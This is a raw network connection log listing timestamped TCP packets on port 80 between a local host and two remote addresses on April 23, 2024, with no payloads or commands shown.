Apr 23, 2024 09:38:11.401074886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401091099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401093960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401093960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401108027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401124001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401124954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401141882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401158094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401170015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401175022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401190996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401206970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401222944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401226044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401226044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401240110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401256084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401267052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401273012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401289940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401307106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401323080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401328087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401328087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401340961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401357889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401365995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401374102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401390076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401406050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401412010 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401423931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401439905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401457071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401460886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401460886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401473045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401489019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401500940 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401505947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401521921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401529074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401540041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401557922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401572943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401573896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401590109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401603937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401607037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401623011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401639938 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401639938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401655912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401673079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401689053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401693106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401693106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401705980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401721954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401736975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401738882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401755095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401771069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401782990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401788950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401791096 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401806116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401822090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401839018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401844025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401856899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401868105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401873112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401890039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401890039 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401906013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401921988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401937962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401940107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401954889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401971102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401973009 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.401987076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.401997089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402004957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402021885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402029991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402038097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402054071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402069092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402071953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402085066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402087927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402101040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402118921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402127981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402136087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402153015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402154922 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402168989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402184963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402201891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402211905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402218103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402235031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402240038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402251005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402251005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402270079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402286053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402302980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402316093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402316093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402318954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402334929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402350903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402359962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402367115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402383089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402390957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402399063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402414083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402431011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402446032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402452946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402452946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402462006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402477980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402493954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402508020 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402508020 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402509928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402524948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402540922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402556896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402570963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402570963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402573109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402589083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402604103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402609110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402621031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402637005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402652025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402666092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402666092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402667999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402684927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402700901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402715921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402717113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402733088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402741909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402750015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402765989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402781963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402797937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402797937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402797937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402813911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402828932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402846098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402849913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402862072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402877092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402879953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402898073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402898073 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402914047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402930021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402946949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402949095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402962923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402980089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.402986050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402986050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.402996063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403012037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403017998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403017998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403027058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403038025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403043985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403055906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403060913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403076887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403081894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403081894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403093100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403110027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403111935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403111935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403125048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403135061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403143883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403161049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403161049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403162003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403177977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403192997 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403193951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403193951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403209925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403215885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403227091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403237104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403244019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403250933 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403259993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403275967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403275967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403276920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403292894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403309107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403309107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403309107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403326035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403341055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403341055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403343916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403359890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403372049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403372049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403377056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403393030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403393984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403408051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403415918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403424978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403434992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403440952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403456926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403456926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403458118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403474092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403486967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403486967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403490067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403506041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403518915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403518915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403522015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403537989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403549910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403549910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403553963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403569937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403580904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403580904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403587103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403601885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403618097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403633118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403635979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403635979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403649092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403673887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403707027 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403707981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403711081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403728008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403743029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403743029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403743982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403759956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403769016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403776884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403793097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403809071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403810024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403825045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403840065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403844118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403844118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403856993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403871059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403872967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403889894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403896093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403896093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403907061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403919935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403923988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403933048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403939962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403956890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403963089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403963089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403974056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.403989077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.403990030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404002905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404006004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404021978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404026031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404026031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404038906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404052019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404055119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404069901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404071093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404071093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404087067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404088974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404107094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404113054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404123068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404129028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404145002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404146910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404161930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404165030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404177904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404196024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404201031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404201031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404211044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404213905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404230118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404246092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404262066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.404283047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404283047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.404313087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.406428099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.432324886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432357073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432374954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432394981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432411909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432410955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432429075 CEST	80	49733	185.172.128.76	192.168.2.4
